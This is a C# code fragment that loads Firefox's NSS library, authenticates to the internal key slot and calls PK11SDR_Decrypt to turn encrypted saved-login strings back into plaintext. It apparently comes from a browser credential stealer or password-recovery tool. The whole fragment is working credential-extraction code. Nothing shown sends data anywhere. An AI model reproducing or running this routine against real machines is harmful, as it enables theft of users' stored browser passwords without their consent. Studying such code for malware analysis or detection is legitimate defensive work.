public static string Decrypt(string S)
{
Structures.TSECItem tSECItem = default(Structures.TSECItem);
NSS_Init(FireFoxPath.GetRegistryFireFox());
long num = PK11_GetInternalKeySlot();
if (num == 0)
{
return(string.Empty);
}
PK11_Authenticate(num, true, 0L);
int value = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, S, S.Length);
Structures.TSECItem tSECItem2 = (Structures.TSECItem)Marshal.PtrToStructure(new IntPtr(value), typeof(Structures.TSECItem));
if (PK11SDR_Decrypt(ref tSECItem2, ref tSECItem, 0) != 0)
{
return(string.Empty);
}
if (tSECItem.SECItemLen != 0)
{
byte[] array = new byte[tSECItem.SECItemLen];
Marshal.Copy(new IntPtr(tSECItem.SECItemData), array, 0, tSECItem.SECItemLen);
return(Encoding.UTF8.GetString(array));
}
return(string.Empty);
}
public static int PK11SDR_Decrypt(ref Structures.TSECItem data, ref Structures.TSECItem result, int cx)
{
IntPtr procAddress = NativeMethods.GetProcAddress(NSS3, "PK11SDR_Decrypt");
DLLFunctionDelegate5 dLLFunctionDelegate = (DLLFunctionDelegate5)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(DLLFunctionDelegate5));
return(dLLFunctionDelegate(ref data, ref result, cx));
}
